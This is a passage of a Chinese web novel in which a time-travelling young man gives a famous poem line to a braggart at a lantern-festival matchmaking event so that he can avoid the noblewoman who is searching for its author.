“也不知哪一个会如此幸运,能被她相中……”
这群妇人,乃是明灯桥姻缘会的主办方。
每年万灯节,她们都会在桥头设下摊位,专为相约来此的情侣,或是求取姻缘的女子提供手工花球。
时间久了,所见过的漂亮女子,早已多不胜数。
毫无疑问,许灵嫣是继十年前王妃驾临之后,最为美艳迷人的一位。
但奇怪的事情就发生在刚才。
这漂亮女子,竟拿出了大把的银子,将她们备好的花球一购而空,导致她们现在不得不全力补制。
此时的桥上,小缘正领着从城里雇来的一群女工,一边往桥下丢花球,一边往桥拱之上走。
来到许灵嫣面前时,她一脸无奈:“小姐,咱们这样大海捞针,真的能寻到人吗?”
许灵嫣转过身,清冷的眸光看向波光茫茫的河面,船舸往来不绝。
“要游览灯会,这河上乃是必经之地,与其寄希望于人海偶遇,不如在此寻求机会。”
“可是小姐……就算那彦公子接到了花球,咱们也不敢保证他就一定愿意接上下句,然后与我们相见呀。”
听闻此话,许灵嫣沉默片刻。
随即,嘴角勾起一抹浅浅的微笑:“这花球也未必需要彦公子本人接住,若是与他相识之人,恰巧知道这句诗,我们同样能以其为线索,寻到彦公子。”
听到这解释,小缘点了点头,确有道理。
“而且,我相信他会的。”
许灵嫣微微抬头,将目光送往更远方的天边,“真正向往孤独的人,并不是真的喜欢孤独,而是不被认可,缺少共鸣。”
这句话,也是那位国经院的老大儒说的。
许灵嫣很赞同,那些高人隐士之所以要远离尘俗,并不一定是非得过山野生活,或许是生活不如意,又或许是没有一个知心朋友。
她能在花球中写下彦公子的诗,相当于表达了对这首诗,也对彦公子思想的喜爱。
这便有了共同的话题。
“我许灵嫣,就要做第一个认可他,能与他共鸣的人!”
……
“一道残阳铺水中……嗯,好个一道残阳铺水中,景致绝佳!”
明灯桥下,小船依旧缓缓前行。
徐坤站在船板上,手握那张素纸,一边点头,一边反复念着纸上的那一句。
他的眉头紧锁着,似在冥思。
片刻后双眼一瞪,恍然顿悟:“我知道了!”
“一道残阳,对两轮明月,两轮圆月悬苍空,完美!”
“少爷好对啊!”
瘦小厮不知从哪掏出了一把纸折扇,点头哈腰地给少爷扇着风,“一对二,残阳对明月,水中对苍空,简直绝妙!但是
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少爷……天上好像没有两轮月亮诶。”
“你懂个屁!”
徐坤当头一巴掌拍在他脑门上,“一轮挂在头顶的天空,一轮挂在水中倒映的天空,有什么问题?”
“妙啊,那就更妙了!少爷的才华,堪比那入云归雁,让人高山仰止啊!”
“倒没那么夸张,只能说相近,相近,哈哈哈……”
两人聊得甚是欢快,坐在船头处的江云帆和杨文炳两人,自然也无心打扰。
江少爷此刻的眼神充满了疑惑和质疑,就这么盯着杨文炳。
自穿越而来,这句诗他就只念过一次,也就是那日在湖畔垂钓之时,恰好被杨文炳给听见了。
而如今,这诗的前半句出现在了姻缘会的花球当中。
江云帆的意思很简单:杨兄,解释解释吧。
“彦兄,你容我想想……”杨文炳也像徐坤那样,把眉头狠狠皱了起来。
倒是江云帆无语了,容你想想,想什么?想怎么蒙混过关?
“定是单良那小子!”
“善良?”
“没错,那日湖畔初见,我身边那小毛孩便是单良。他估计是没有听从我的命令,把这诗句给泄露出去了。彦兄放心,回头我一定处罚他!”
江云帆摇摇头:“不必了,本就不是什么大事。”
想来那小侍从也是苦寒出身,不能因为人家善良,就无缘无故替主子背锅,回头还得接受惩罚。
“彦兄大度!”杨文炳抱拳称赞。
事实上,他确实不知是谁泄露的。
不过他猜测,最大的可能就是许灵嫣。她来灯会,最大的目的就是寻找彦公子,利用花球投诗,很可能是想通过这种方式寻人。
想到这杨文炳心中不禁升起一丝庆幸。
还好他走了水路,不然现在估计也和许灵嫣一样,正在满到处寻人。
许灵嫣和他一样,都想结识彦公子。
而他率先找到,岂不是能与彦公子建立更好的关系?
这是好事!
第88章 因为我善
小舟行至镜河中央,四周船舸越加密集。
此处恰好位于明灯桥的最高点之下,许多以求取姻缘为目的的男子,都会花钱让船夫在这停船,然后坐等天降花球。
以往的姻缘会,男女多半成对前来,女子于桥上等候,男子则特地乘船前来接球。
也有一部分女子孤身前来,在相中某位船上的公子后,方将花球投下。
而那种主打随缘胡乱投球的情况,并不多见。
可今天恰好相反,就在江云帆等人所乘的小船来到桥拱下时,接二连三的红色花球刷刷而下,一部分胡乱落在各个商船上,还有一部分直接落入水中。
一些苦等半晌的男子仿佛久旱见了雨,一个个发了疯似的哄抢,哪怕怀中已有两三个,也丝毫不嫌多。
“今天这些姑娘怎么回事,到底有多少人丢花球啊?”
“怎的,不想要?不想要可以给我!”
“傻子才不要,拿来!”
桥下争得一团乱麻,那些饥渴已久的男人们,生怕自己错失任何一桩姻缘。
他们当然不会嫌多,要是其中一个球里的对子对不上,还可以更换其他的球,这种可以选择别人的感觉,谁不想拥有?
只是随着众人抢的球越来越多,便有人按捺不住打开来看。
于是很快便发现了端倪。
“这……这什么情况啊?怎么两个球里的上联一模一样?”
“你的写着什么?”
“一道残阳铺水中。”
“我的也是,奇了怪了,难不成这些球都是同一个人丢的?”
这个观点一提出,众人的哄抢立马便停止了。
是啊,所有球里写的内容都一样,那么毫无疑问,必是来自同一个人,所以根本就没有继续抢的必要了。
不过他们的热情并没有因此消减。
因为想想便知道,能一次性买下如此之多的花球,并往桥下随意投放,这样的人且不论身材容貌,反正家世一定非常显赫。
若能与其结成姻缘,便等同于攀上豪门,那样既解了单身之苦,又得到了荣华富贵,何其美哉。
所有人心里都清楚,投词女子的意思很明显。
——谁能对出最好的下联,谁就能赢得更进一步的资格。
故而此时,台下的男子们纷纷展示自己的才华,用尽毕生所学,为这对子书写下联。
“一道残阳铺水中,几群暮雀归初秋!”
“一道残阳铺水中,满天星斗缀苍穹!”
“都对的什么啊,还是我这个好,一道残阳铺水中,千层暮霭隐云峰!”
“不如我这个……”
嘈杂声此起彼伏,一场姻缘会,变成了菜市集。
徐坤扭动宽胖的身体,在船边坐下,听着那些人口中的下联,脸上的傲意越来越浓。
看来自己确实是有才华的。
“这些人七嘴八舌,本少爷听了一些,尽是些糟粕劣物,没有一个能与我那句相比的。”
瘦小厮连忙接上:“那是自然,咱家少爷何等风采?”
两人一吹一捧又开始了,江云帆实在听不下去,朝对方扬了扬下巴,道:“喂,这位少爷,实不相瞒,其实你手中的这一句,并非一道上联。”
“?”
徐坤一听,脸色顿时阴冷了几分:“小子,你懂文吗,这有你说话的份吗?你说这不是对子上联,它能是什么?”
“是半句诗。”
“半句诗?”
徐坤与身旁小厮相视一眼,随即放声大笑起来,“呵哈哈哈哈……本少爷就说你不懂装懂,这句中的‘一道’、‘残阳’、‘铺’和‘水中’,每一个字都完美具备对联的特点,你却非说它是半句诗,当真是好笑!”
“就是,我家少爷的判断绝不会错!”
江云帆懒得搭理两人的嘻嘻哈哈,只开口道:“你们如果不信,不妨听我旁边这位公子念一遍整句,再看看到底相不相搭。”
“好啊,念出来,我倒要看看你们能不能念出个所以然!”
被点名了,杨文炳顿时一愣,一脸茫然地凝视江云帆。
这明明是你自己的诗,为何要让我来念?
他搞不明白,但转念一想,既然彦兄吩咐了,那自己可千万不能推辞,以免影响在对方心中的印象。
“咳咳……”
杨文炳严肃地清了清嗓子,随后正襟危坐,直视徐坤两人,一字一句开口道:“这整句诗便是——一道残阳铺水中,半江瑟瑟半江红!”
“半江瑟瑟……半江红?”
徐坤忽而皱紧眉头,开始细细品思这句诗。
半江瑟瑟……
不对,这句诗!
他猛然瞪大眼睛,整个人僵在原地。
好诗,好美的意境,好一个半江瑟瑟半江红!
只一瞬间,便把人拉进了绚烂的黄昏,仿佛身临其境地去体会那样的美景,和那样的感受,太妙了!
【叮,震惊达成,来自徐坤的情绪值:+48!】
可以,聊胜于无。<
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br>江云帆如今也不嫌人奖励倍率低了,毕竟情绪值紧缺,蚊子腿再小也是肉。
当然,他主动将整句诗
“少爷,您认为这诗如何啊?”
“好,太好了!”
当真是好诗一句!
徐坤已然陷入了激动,再看江云帆和杨文炳时,脸上又多出了一丝警惕:“你们等下就打算拿这句诗,去认识投花球的姑娘?”
江云帆摇摇头,笑道:“我们还有其他事要做,这诗就送给少爷了。”
“当真?”
“当真!不过我建议少爷赶紧过河,眼下这里船只越来越多,也越来越堵,再不去,恐怕被人捷足先登。”
“有道理!”
徐坤很快回过神来,四下观望一圈,发现周遭船只确实很多,桥下被堵得水泄不通。
好在他眼睛尖,发现了一艘在外围疾行的小船。
大少爷立刻发挥自己的钞能力,拿出一锭白花花的银子,对着那小船的船夫一通大喊,迫使其强加了两个为之,将他二人载了出去。
两人走后,杨文炳疑惑不已:“彦兄为何要将这诗告知于他?”
“因为我善。”
江云帆不禁有些自豪,多做好事,自然会有好报。
不过,真相显然不是如此。
他江少爷才不会得蛋疼去助人为乐,之所以把诗句告知那胖公子,不过是想利用对方吸引火力。
如此大规模地投球,必定是有人特地策划。
其目的,多半是想要寻他。
他懒得与别人解释自己的诗句从何而来,所以便想办法让徐坤带着“正确答案”先行,这样必定能拉住对方的注意力。
那便是他偷偷溜走的机会。
……
果不其然,当徐坤抵达对岸,将那写好的完整诗句,交给回收花球的青衣小姑娘时,对方的神色明显发生了变化。
“公子请稍等,我现在就去叫我家小姐!”
小缘握着手中纸张匆匆而去。
徐坤得意洋洋地等了片刻,很快,他便看见那青衣小姑娘自桥上回来,而在她身前,是一位行色匆匆的红裙女子。
看清那红裙女子的脸时,徐坤彻底怔在原地。
好……好美的女子!
这怕是天仙下凡吧?
徐坤一时激动不已,甚至还在心里把刚才船上那两个傻小子狠狠骂了一遍。
哈哈哈,那两个蠢货,要是知道这桥上之人生得如此漂亮,岂不是把肠子都要悔青?
……
第89章 好美的女子
徐坤的银子明显发挥了作用,那撑船的小船夫险些把桨给摇断。
当其他船只还堵在桥下寸步难行时,他们便已经穿过了镜河,并成功在北岸的堤坝处停靠。
此刻岸上正站着不少人。
有打扮得光鲜亮丽的女子,她们方才在明灯桥上投下花球,来此处是为了等那对上对子,前来寻人的男子。
也有接到花球的男子,来此等丢球的女子。
当然还有第三种,便是那群四十岁往上的妇人。凡是成功结上姻缘的男女,却又羞于相见的,她们会专程等在河边,为其牵线搭桥。
而收到那句“一道残阳铺水中”的人很多,徐坤并不是第一个抵达。
这些人一拥上前,将写好了下联的花球交给两名仆人模样的女人,她们是受雇而来,特地负责收集这些对子的。
当真是广撒网,多捞鱼!
徐坤并没有见到那位买下所有花球的女子,反倒是在河岸的人群中,看见了一个熟悉的身影。
“表哥?!”
他一声惊呼,正在人群中帮着收集花球的白衫男子当即抬起头,眉毛一拧看过来。
“徐坤儿?”
徐坤的表哥,正是那烟凌城大都尉侯宽之子,侯茂杰。
“表哥,你也来看灯会啊!”
徐坤哈哈一笑,连忙扭动宽阔的身体,强行挤开人群,一路蛄蛹到侯茂杰跟前。此刻徐少爷脸上的狂傲姿态早已不见,那笑容反倒多了几分憨厚老实。
跟在后方的瘦小厮早就见怪不怪了。
他家少爷之所以能够到处耀武扬威,主要仰仗的力量,便是这位表哥。
而恰好侯茂杰也肯罩着他,在烟凌城中,少爷只要在外惹了事,就提表哥大名,对方若是不服,侯公子就会亲自出手。
所以少爷每次见到侯公子时,都会嬉皮笑脸带憨相,以摆正自己小弟的位置。
“呵……”
听徐坤打招呼,侯茂杰顿时苦笑一声,“看灯会,你瞧我像在看灯会的样子吗?”
他一边说一边摊手,手中正提着几个花球。他一直站在河边,就是要将写有文字的纸张,一页一页从这些花球中摘取出来。
徐坤方才注意到这一幕,眉头一皱道:“以表哥您的身份,怎么能亲自干这种活呢?”
“我自愿的。”
“还有能让表哥你自愿做的繁琐事?”
侯茂杰笑笑,没说话。
他确实是自愿的,或者说自找的。
今日下午时分,他在王府楼舫所停靠的三号码头前,碰到了正欲入城参加灯会的许灵嫣。秉着献殷勤的目的,他主动请求跟随对方一同前往,并十分客气地表示,愿意给许小姐当一个提东西的免费劳力。
没想到,许灵嫣居然无比爽快地答应了。
侯少爷本以为自己这是得到了尚书千金的认可,想着往后侯家说不定就能飞黄腾达了,还跟着高兴了好一阵。
结果后来才发现,许灵嫣还真是找他来当免费劳力的!
自进城开始,他就压根没停止过忙碌奔走,什么才买纸笔花球,雇佣男女工人,乃至亲自提笔写那半句诗,以及此刻再回收花球,那是连一刻喘息的机会也没有。
倒是听了侍女小缘的解释,他也释怀了。
原来许小姐认为,花球中写的这半句“一道残阳铺水中”,以及下文的“半江瑟瑟半江红”,乃是由那日文会绝词“东风夜放花千树”的作者所写!
许小姐称其为彦公子。
而她之所以做这么多,就是想利用这万灯节的机会,寻到对方下落。
其实侯茂杰也一样,他太喜欢王府楼舫上惊现的那首词了,心中对其作者
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的崇拜之情,也早已满溢。
故而让他为之做些繁杂琐事,他也乐意。
“我说坤儿,你不在烟凌城好好待着,这么远跑来镜源县,就为了看灯会?”
“那当然不是。”
徐坤手握花球四下张望,嘴上答道,“这次我娘可是下了死命令的,必须给她领个儿媳回去,否则不让进家门!”
“哦?”侯茂杰此刻也注意到他手中的花球,“看样子你是找到了?”
“没呢,这不还在寻人吗?也不知那姑娘到底怎么想的,同样的花球投了不下千个!”
“……”
听到这话,侯茂杰顿时满头黑线:“你接到的花球,里面写着‘一道残阳铺水中’?”
“对,许多人都接到了。不过表哥,我有十足的信心,一旦投球那姑娘见到我对的诗,定会彻彻底底地迷恋上我!现在就等她出现了!”
侯茂杰不禁扶额。
他是真的想笑!
对于自己这个表弟,他比谁都了解,要说肚子里的墨水,有点但不多,反正是不够接上这句诗的。
况且这诗乃是那首“东风夜放花千树”的作者彦公子所写,你个小小徐坤也配碰瓷?
想到这,侯茂杰忍不住想告诉徐坤真相。
于是他放下手中花球,伸手一指,指尖正对桥上:“看见了没,桥面最高处,那位红衣女子,就是你要找的姑娘。”
徐坤一脸茫然地转头看去。
果然看见桥上站着一位红裙女子,在那辉映的火光中挺立身姿,只是远看,便能感觉到对方姿容不凡。
而当那女子微微侧身转头时,徐坤隐约看见了她的脸。
“这……好,好美……”
好美的女子!
徐大少爷瞬间怔在原地,心中更是翻起惊涛骇浪。
这怕是仙女下凡吧?
第90章 让你家小姐来见我
徐坤全然不知,应该如何形容自己此刻的心情。
在见到桥上那女子的一瞬间,他便在自己的脑海里,将所见过有记忆的每一个漂亮女人都回想了一遍,发现无论是容貌还是身姿,竟无一人能及她的一半!
他甚至都有些怀疑,对方当真是投花球的人吗?
很不真实!
不过思来想去,徐坤还是觉得,表哥的话他得信。
所以与此同时,他还在心里把刚才船上那两个傻小子狠狠骂了一遍。
两个蠢货!
把这句绝妙的诗文,就这样送给了他。他们要是知道这桥上之人生得如此美艳,岂不是能把肠子都给悔青了?
徐坤迅速收回思绪,一脸兴奋道:“太好了表哥,这么漂亮的姑娘,我娘一定会喜欢!”
“嗤……”
侯茂杰冷笑一声,“你小子做梦怕是做过头了,自己几斤几两当真不清楚?接到这花球的文人才子没有成千也有上百,你觉得自己比他们强?”
“放心吧表哥,以前可以说我才华平庸,但今日我绝对有信心碾压全场!”
“你小子,是真不知天高地厚,算了……”
侯茂杰也懒得劝他,甚至就连他接的下半句诗是什么也没兴趣知道。
因为退一万步讲,就算徐坤这句诗写得再好,再精彩,都不可能是彦公子所写的那句。那么对于许小姐来说,这诗就没有任何的意义。
“侯公子。”
就在这时,一道呼喊声忽然从前方传来。
侯茂杰定睛一看,身着青衣的女子正从明灯桥头的方向走来,正是许灵嫣的贴身侍女,小缘。
“小缘姑娘。”侯茂杰低头打招呼。
对待一个丫鬟,他也是谦卑有加,因为那可是许小姐的丫鬟。
“小姐让我过来问问,第一批的诗文收集得如何?”
“已经不少了,都在这里。”
侯茂杰双手递上一沓宣纸,都是他方才从那些花球之中摘取出来的。
“对了,这儿还有一张。”他又伸手夺过徐坤手里的花球,三两下将里面的纸张扯出,一并交到小缘手里。
小缘点头致意,随即转身便往桥上走。
被抢了花球徐坤原本还有些愣神,此刻清醒过来,连忙冲着小缘大喊:“姑娘,我叫徐坤,纸上署了我的名,请务必让你家小姐来找我!”
小缘回过头,像看傻子一样看了他一眼,脚步并未停留。
然而“啪”的一声。
侯茂杰直接一巴掌扇在他脸上,怒道:“蠢货,你喊什么喊!让许小姐来见你,你多大的脸,啊?”
见此一幕,一旁的瘦小厮连忙别过头去,很识趣地装看不见。
“许……许小姐?”
徐坤捂着挨了打的半边脸,满眼惶恐。
他又在脑海中搜索关于“许小姐”的信息,发现根本没有对应的人。
“不然,你以为桥上那女子是谁?”
这时侯茂杰直接上前,一把揪住他耳朵,咬牙切齿道,“她是当朝户部尚书唯一的千金,许灵嫣许小姐,刚才我不想理你,你还真以为自己写了句狗屁诗,就能得到她的青睐?你配吗!”
“尚书千金!”
听到这几个字,徐坤瞬间清醒了。
他能不知道尚书许家吗?
自己之所以能在烟凌城肆意横行,仰仗的是侯家。
而侯家之所以能在烟凌城屹立不倒,仰仗的便是许家。
可以说,桥上那位许小姐,可以称得上是他老大的老大,甚至都不止!
怪不得表哥心甘情愿在这摘花球,能不情愿意吗?
想到这徐坤不禁有些后怕,方才他居然敢扬言让许小姐来见自己,这不是找死是什么?
完了啊!
他这下才是把肠子给悔青了……
“不对!”
徐坤突然表情一怔,瞪眼看向侯茂杰。此时此刻,一股巨大的紧张感,自他心底升腾直上,直冲脑门。
不是因为恐惧,而是因为激动。
“表哥,咱们好像…
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…要撞大运了!”
“撞什么大运?”侯茂杰正烦。
他好不容易能在许小姐面前挣挣表现,要是让徐坤这一下子给败光,他恨不得撕了这蠢货。
“真有大运!”
徐坤左右望了望,赶紧压低声音道,“表哥你想,若我那句诗真被许小姐给看上,那我不就成尚书府的乘龙快婿了吗?到时候别说一个小小的烟凌城,就算是京都,咱们兄弟俩不也可以横行无忌吗?”
“我说了,让你别做梦!”
侯茂杰狠狠用手指戳着徐坤的肩膀,“听清楚了,这半句诗的下文,只可能有一个答案,也只可能有一个人知道,而那个人,绝对不可能是你!”
他真的气**,怎么就攀上这么个蠢货弟弟。
然而,就在他话音落下的片刻,小缘的声音便再一次响起,而且比之先前要急切得多。
“徐坤!徐坤!”
“徐公子!”
小缘如风般跑来,这一次丝毫不顾自身形象,累得满脸狼狈。
她跑到侯茂杰和徐坤面前,因为气缕不顺,不得不用手撑住膝盖,一字一喘道:“徐……徐公子,我家小姐有请,哦不……小姐请你莫要离开,她正赶过来,要亲自见你。”
“!!”
亲自来见?
听到这话,徐坤和侯茂杰同时瞪大双眼。
随后僵硬地扭动脖子,四目相对。
此时此刻,两人内心的惊骇,瞬间到了无以复加的地步。
难道说,是那句诗成了?
徐坤当然震惊,他承认船上那两人的诗接得很好,可表哥也说了,原诗的下句是唯一的,怎可能凑巧一模一样?
侯茂杰更震惊,他无论如何想不到,徐坤这小子方才说的大话,竟然不是大话?
他死死盯着徐坤,艰难开口问道:“坤儿,你告诉我,这诗你是怎么接的?”
“一道残阳铺水中,半江瑟瑟半江红……”
“!?”
侯茂杰:“怎么可能……”
第91章 一诗一词都是由他所写
侯茂杰无论如何也没想到会有这么一出。
方才见徐坤那般自信,甚至还大言不惭,声称要当尚书府的女婿。
他考虑过这小子可能诗才爆发,成功写出好诗一句。却绝对没料到,这家伙居然真的把原句给搞出来了!
侯茂杰清楚徐坤有几斤几两,当然不信这是他自己想到的,更不会认为他就是那位彦公子。
想到这,他狠狠一把掐住徐少爷的手臂,面露凶色:“说!”
“啊呀呀!”
徐坤疼得直咧咧,“说什么啊……”
“还能说什么,这句诗是谁告诉你的?”
“我自己写的哎哟喂!”
徐坤自然不会承认这诗是方才在桥上,他听那两个毛头小子念的。因为眼下的情况已经很明显了,许小姐要找的诗,就是这一句!
有了这句诗,他搞不好真能抱得美人归,并且当上尊贵的尚书府女婿。
所以现在说什么他也得一口咬死,这诗就是他自己写的!
“你写个屁你写!”
侯茂杰瞬间便猜到了这小子心里的想法,想借此攀高枝?简直是找死!
于是他果断加大了手上的力道,捏得徐坤咿呀乱叫。
“个蠢货,我劝你老老实实交代,若是冒充诗文作者,让许小姐错失了寻人的机会,哪怕是赔上整个侯家也保不住你!”
“!”
听侯茂杰这样说,徐坤浑身一颤,终于后知后觉地意识到问题的严重性。
是啊,能写出这样惊绝之诗的人,真的是他能够冒充得了的吗?要是因此惹怒了许小姐,恐怕后果是自己无法承受的。
徐坤一张脸憋得通红,一时不知如何反应。
好在小缘及时提醒:“你们快别打了,小姐到了。”
侯茂杰立马停手。
徐坤也回过神,转头看明灯桥的方向。
只见方才站在桥上的那位红裙女子,此刻已经来到了岸边,正脚步匆忙,穿过人群朝这边走来。
借着河畔的火光,徐坤彻底看清了对方的容貌,一时傻在原地。
当真是此女只因天上有,人间哪得一回闻?没想到传说中的尚书府千金,除了身份尊贵之外,长得也如此倾国倾城。
徐坤敢发誓,许灵嫣是他这一辈子所见过最漂亮的女人,甚至很可能是这天底下最漂亮的女人!
自己真的不可以……当这句诗的作者吗?
“阁下便是徐公子?”
许灵嫣拎着裙摆,亦步亦趋来到徐坤面前,明眸泛光,皓齿微张,那张俏脸上情绪复杂,有急切也有欣喜。显然已经遏制不住内心的激动了。
徐坤身体晃了晃:“是……是,在下徐坤,见过许小姐!”
“徐公子快免礼!”
许灵嫣亲自将他扶起,忙问道,“敢问公子,你在方才在花球之中写下的那句诗,是从何处听到?”
“我……”
徐坤欲言又止。
他是真想说一句,这诗是他自己写出来的啊!
可一接触到表哥那要吞人的眼神,徐少爷还是退缩了。
荣华富贵什么的,肯定没有命重要。
“徐公子,只要你能帮忙找到那作诗之人,我许灵嫣一定重谢!”
“呼……”
徐坤长舒了一口气,点头道:“适才我过河之时,与两名男子同乘一船。途经桥下,恰逢小姐投花球,我打开念出前句,他们便自行接上了这后句,还说……把这诗送给我了!”
“现在回想,我倒觉得奇怪,既然他们知道全句,为何不亲自来见许小姐?”
他确实想不明白,毕竟谁能拒绝这样一位姿容若仙的女子,拒绝那泼天的富贵呢?
“他当然不会来……”
许灵嫣独自呢喃,眼中闪烁的神采更甚,映着城中那万千辉光,格外迷蒙。
是啊,他不会来。
若真能被世俗姻缘所吸引,那他就不是彦公子了。
念及此,许灵嫣迅速回过神,再度看向徐坤:“徐公子,你可还记得那两人的模样?”
徐坤摇摇头:“天色太暗,借着灯光也没看得太清,只知道其中一人穿着黑色锦袍,另一人则粗麻蔽体,此外……衣着简陋那人,相貌倒挺英俊,可能与我不相上下。”
听到这话,许灵嫣心里瞬间了然一半。
很大可能,两名男子当中,锦衣华服那个就是杨文炳,他已经提前找到了彦公子,此刻两人正在一起。
另外许灵嫣瞧了瞧徐坤的胖脸,对方说自己与彦公子容貌相仿,她是全然不信的。
不过说彦公子模样英俊,她是坚信不疑的!<
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br>“那两位公子,可是随你一同下船?”
“我比他们先行一步。”
听到这话,许灵嫣当即一顿,连忙吩咐小缘:“快,叫更多的人过来,让他们围着河岸附近找人!”
“是。”
小缘应声而去,许灵嫣则只感觉自己心跳砰砰加速。
这一次,估计是她离彦公子最近的一回。要是就此错过了,那得多么遗憾?
“侯茂杰,你帮我招待一下徐公子。”
许灵嫣说完也顾不得许多,提着裙摆便转身走入人群……她要亲自去找彦公子!
望着她远去的背影,徐坤愣神良久。
他到此刻都还觉得可惜,多么难得的一步登天的机会,就这么飞走了。
“啪!”
肩膀突然被拍,徐坤惊了一跳,连忙回过头。
只见侯茂杰一脸郑重:“坤儿你知道吗,这次如果成功找到彦公子,你就是整个大乾文坛的功臣!”
徐坤眼睛半闭:“这句诗确实精彩,但不至于这么夸张吧?”
“呵……”
侯茂杰笑了,“说这句诗你恐怕不懂,但你一定听过那句,‘众里寻他千百度,蓦然回首,那人却在灯火阑珊处’吧?”
“那当然,这还有谁能没听过!”
镜湖文会惊现千古妙词,早就已经传遍了整个江南。徐坤早在烟凌城时就听过了这首词,惊为天物。
“表哥为何突然提起那一句?”
“唉……”
侯茂杰长叹了一声,眼神忧沉,视线已然看向远空的星斗。
他缓缓开口,一字一句道:“如果我说,这一诗一词,乃是由同一人所写,你又当如何呢?”
徐坤:“(⊙_⊙!)”
什么?
那首“东风夜放花千树”,也是由这句诗的作者写的?
这……这怎么可能!
刹那之间,徐坤的脑海里浮现出那张带着桀骜与自得的脸,他再次仿佛看到那个身着粗麻布衣的男子屹立船头,迎光而行。
是他……
徐坤万万没想到,就在不久前,自己距离那位书写千古绝唱的大佬,仅有一步之遥!
……
(作者今天有个重要的会议,需要耽误不少时间,原本早晨更新的两章,暂欠一章,今天会尽快补上)
第92章 酒先别拿走
相比于镜河以南,位于明灯桥以北的城区,才是整个万灯节上最为繁华热闹的地方。
此时此刻,让许灵嫣心心念念的彦祖公子,已然悄悄越过了河岸。
他并没有随着拥挤的船群一同蠕动,而是在徐坤下船之后,立刻让船家调转船头,远离明灯桥后,找了个清净的地方登岸。
那船家也乐意,毕竟一直在桥下那样堵着,只会影响后续的生意。
与杨文炳一同行至明灯街后,江云帆当即被一阵阵飘散的香味充满了鼻间。这明灯街便是镜源县最大的夜市,也是远近闻名的美食汇集街。
光这一处地儿,就有着上百种特色美食,就算是平日的夜晚,这里一样是商贩满街,门店齐开,更别说遇上这热闹百倍的万灯节。
江云帆在街头买了两份极具特色的镜源糖栗与凌州麻圆,小小地品尝一番。
他倒不是对吃有追求,而是为了享受生活,自然离不了衣食住行。览尽湖光山色,品尽天下美食,方才值得穿越这一遭。
另外他也是想试试味道,再决定回去时给瑶姐和江滢带些什么。
杨文炳就跟在江云帆身侧,眼睛时不时地往这边看。
见他盯自己盯得紧,江云帆便主动把手里的麻圆递了上去:“杨兄也来点?”
“额,多谢彦兄。”
杨文炳连忙捡起一个喂进嘴里。自中午到现在,他粒米未进,要不是见到彦公子心生喜悦,现在估计都累到无力了。
他一边吃,一边聊起刚才的事:“彦兄,我很好奇,既然你的诗句能让方才桥上那女子如此喜爱,不惜费尽苦心寻你,那你为何不去见见对方?”
看年龄,江云帆顶多十七八。
加之时刻孤身而行,所以杨文炳大胆猜测,眼前这位少年尚未婚娶。
“哈……”
江云帆洒然一笑,稍稍伸了个懒腰,换得一身惬意轻松:“女人,只会影响我拔剑的速度!”
“拔剑?彦兄是在习武?”
江云帆一阵无语。
原谅古人不懂梗,他也只好顺势点头:“是有这个打算,杨兄可有武师或者武堂推荐?”
杨文炳顿了片刻,看向江云帆的目光里多了几分复杂。
“实话实说,纵观整个江南,最好的武师武堂,都在怀南城,受南毅王府管辖。自入门到四品,都有专门的培养策略。”
“若彦兄能在镜湖文会上夺得名次,届时受邀前往王府,只要肯开口,王爷定会安排。”
此刻他仍旧在想办法,让江云帆承认是那首词的作者。凭借一句“众里寻他千百度”的水平与影响力,只要愿意承认,那么往后想做任何事都能一帆风顺。
奈何彦兄并非常人。
“那实在是可惜了。”江云帆果然摇了摇头,“我写的那些东西,自娱自乐还好,想在大儒云集的文会上取得名次,还是差了些意思。”
说罢他便自顾自地往前走去。
下一个要去的地点,是位于明灯街后的镜湖湾,那里今晚将举行船灯会,是整个万灯节上最为核心的项目,游人也最多,堪称全场焦点。
江云帆需要在那里赚够情绪值,而在此之前,必须先甩掉杨文炳。
……
随着时间的推移,秋思客栈的诗酒会已然接近尾声。
在以沈远修为首的几名资深儒者的评断下,众文人才子提交的诗词完成了最后的排名。
毫无疑问,江云帆的那首《桃花庵歌》成为公认的榜首。
这首诗虽无惊世骇俗之言,却有着别样的洒脱超然,至少这样的一首诗,放眼整个大乾历史,都极为少见。
至于江元勤的《登高望乾阁》,也是意料之中地获得了第二。
但江二少爷此刻却完全高兴不起来。
就如同他写的词一样,一个志向远大,事事都追求顶峰的人,又怎甘心屈居第二?况且那个比他强的人,还是他一直以来都以废物称呼的江云帆!
江元
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勤很讨厌这种被人抢光风头的感觉。
要不是归雁先生尚且在场,他估计早就像昨日王府楼船上那样埋头离去,当做从未来过。
至于诗酒会的奖励,他打一开始就看不上。
他堂堂江家二公子、当朝新科进士、即将上任的怀南城主簿,上哪没有好酒?当初在京城时,他每次喝的可都是名满天下的万花酿!
反观眼前这一个小小偏远县城的小小客栈,能拿得出来什么好货。
所以在白瑶送来茅台酿时,江元勤果断摆手:“不必了,赠与其他人吧。”
听到这话,白瑶转身便走。
她本就不待见江元勤,若是把小帆辛辛苦苦酿的酒交给他喝,反倒让她心里膈应。
当然,对此江元勤原本并没有多在意。
但就在白瑶离开片刻之后,坐在他身旁不远处的程修齐,正伸手撕开了一个酒坛的封泥。
他不禁蹙了蹙眉:“你不是没有参与比试吗,从哪顺的酒?”
“这我花钱买的!”
程修齐边撕边瞪眼,“说来你可能不信,这坛酒不过二升出头,竟收了我八百八十八钱,比京城的名酒都要贵出两倍不止!”
说着他面露不屑,一把将封泥扯开。
“我今天倒要看看,什么酒如此……这这,这酒……”
“嘶——啊~”
封泥揭开的一刹那,一缕奇香便从那坛中飘出,瞬间侵入程修齐鼻间。程少爷顿时面色全改,神色变得极为享受。
江元勤见状,一时疑惑不已。
这家伙怕不是在装?
他果断迈步走进,弯腰在那坛口轻轻一嗅……
“!”
江元勤浑身一颤,脖子一伸,整个人都立正了。
这酒……天下怎会有如此香味?
这味道,怕是那万花酿也完全不配与之相提并论吧!
江元勤迅速回过神来,冲着白瑶远去的身影大喊一声:“老板娘,那酒先别拿走!”
……
第93章 今夜灯会,热闹过头了
拒绝过的酒就像泼出去的水,白瑶哪里还肯搭理江云帆。
她直接穿过客堂,把酒递给江滢,让她带回后厨。
江滢也很懂眼,接过酒坛便往回走。可就在途经前堂拐角处时,被一直坐在那里的那位布衣老者给拦住了。
季云苍眯着眼笑:“嘿嘿,小姑娘……能否给老夫也上些酒水?”
“不是已经给你上过了吗?”
江滢懵懵的,她低头看向桌面,分明记得自己才给对方上了半壶免费的好酒,可现在那里已然空空如也。
只见桌边的老头子嘴巴一瘪:“那我可不管哈,要不是听你哥说,这家客栈今晚有免费的新酒,我才不会到这来!”
“你认识我哥?”
“当然,我与云帆这小子既是邻居,也是朋友。”
